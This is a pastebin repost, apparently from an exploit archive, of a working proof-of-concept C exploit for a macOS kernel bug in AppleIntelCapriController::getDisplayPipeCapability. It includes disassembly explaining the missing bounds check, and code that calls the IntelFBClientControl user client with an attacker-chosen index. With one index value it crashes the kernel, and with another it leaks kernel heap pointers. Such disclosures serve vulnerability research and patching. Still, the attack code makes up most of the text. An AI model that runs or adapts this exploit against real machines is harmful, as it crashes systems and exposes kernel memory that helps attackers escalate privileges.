Advertisement
Guest User

Untitled

a guest
Jan 21st, 2018
273
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.00 KB | None | 0 0
  1. /*
  2. AppleIntelCapriController::getDisplayPipeCapability reads an attacker-controlled dword value from a userclient structure
  3. input buffer which it uses to index a small array of pointers to memory to copy back to userspace.
  4.  
  5. There is no bounds checking on the attacker supplied value allowing (with some heap grooming) the disclosure of arbitrary
  6. kernel memory:
  7.  
  8. __text:000000000002ACE0 mov eax, [rbx] ; structure input buffer
  9. __text:000000000002ACE2 mov rsi, [rdi+rax*8+0E48h] ; rax is controlled -> rsi read OOB
  10. __text:000000000002ACEA cmp byte ptr [rsi+1DCh], 0 ; as long as this byte isn't NULL
  11. __text:000000000002ACF1 jz short loc_2AD10
  12. __text:000000000002ACF3 add rsi, 1E11h ; void * ; add this offset
  13. __text:000000000002ACFA mov edx, 1D8h ; size_t
  14. __text:000000000002ACFF mov rdi, r14 ; void *
  15. __text:000000000002AD02 call _memcpy ; copy to structure output buffer, will be returned to userspace
  16.  
  17. Tested on MacOS 10.13 (17A365) on MacBookAir5,2
  18. */
  19.  
  20. // ianbeer
  21. // build: clang -o capri_display_pipe capri_display_pipe.c -framework IOKit
  22.  
  23. #if 0
  24. MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
  25.  
  26. AppleIntelCapriController::getDisplayPipeCapability reads an attacker-controlled dword value from a userclient structure
  27. input buffer which it uses to index a small array of pointers to memory to copy back to userspace.
  28.  
  29. There is no bounds checking on the attacker supplied value allowing (with some heap grooming) the disclosure of arbitrary
  30. kernel memory:
  31.  
  32. __text:000000000002ACE0 mov eax, [rbx] ; structure input buffer
  33. __text:000000000002ACE2 mov rsi, [rdi+rax*8+0E48h] ; rax is controlled -> rsi read OOB
  34. __text:000000000002ACEA cmp byte ptr [rsi+1DCh], 0 ; as long as this byte isn't NULL
  35. __text:000000000002ACF1 jz short loc_2AD10
  36. __text:000000000002ACF3 add rsi, 1E11h ; void * ; add this offset
  37. __text:000000000002ACFA mov edx, 1D8h ; size_t
  38. __text:000000000002ACFF mov rdi, r14 ; void *
  39. __text:000000000002AD02 call _memcpy ; copy to structure output buffer, will be returned to userspace
  40.  
  41. Tested on MacOS 10.13 (17A365) on MacBookAir5,2
  42. #endif
  43.  
  44. #include <stdio.h>
  45. #include <stdlib.h>
  46. #include <string.h>
  47.  
  48. #include <IOKit/IOKitLib.h>
  49.  
  50. int main(int argc, char** argv){
  51. kern_return_t err;
  52.  
  53. io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
  54.  
  55. if (service == IO_OBJECT_NULL){
  56. printf("unable to find service\n");
  57. return 0;
  58. }
  59.  
  60. io_connect_t conn = MACH_PORT_NULL;
  61. err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  62. if (err != KERN_SUCCESS){
  63. printf("unable to get user client connection\n");
  64. return 0;
  65. }
  66.  
  67. uint64_t inputScalar[16];
  68. uint64_t inputScalarCnt = 0;
  69.  
  70. char inputStruct[4096];
  71. size_t inputStructCnt = 8;
  72. *(uint64_t*)inputStruct = 0x12345678; // crash
  73. //*(uint64_t*)inputStruct = 0x37; // disclose kernel heap memory
  74.  
  75.  
  76. uint64_t outputScalar[16];
  77. uint32_t outputScalarCnt = 0;
  78.  
  79. char outputStruct[4096];
  80. size_t outputStructCnt = 4096;
  81.  
  82. err = IOConnectCallMethod(
  83. conn,
  84. 0x710,
  85. inputScalar,
  86. inputScalarCnt,
  87. inputStruct,
  88. inputStructCnt,
  89. outputScalar,
  90. &outputScalarCnt,
  91. outputStruct,
  92. &outputStructCnt);
  93.  
  94. if (outputStructCnt > 20) {
  95. int n_leaked_ptrs = (outputStructCnt-7)/8;
  96. uint64_t* ptrs = (uint64_t*) (outputStruct+7);
  97. for (int i = 0; i < n_leaked_ptrs; i++) {
  98. printf("%016llx\n", ptrs[i]);
  99. }
  100. }
  101. return 0;
  102. }
  103.  
  104. # 0day.today [2018-01-21] #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement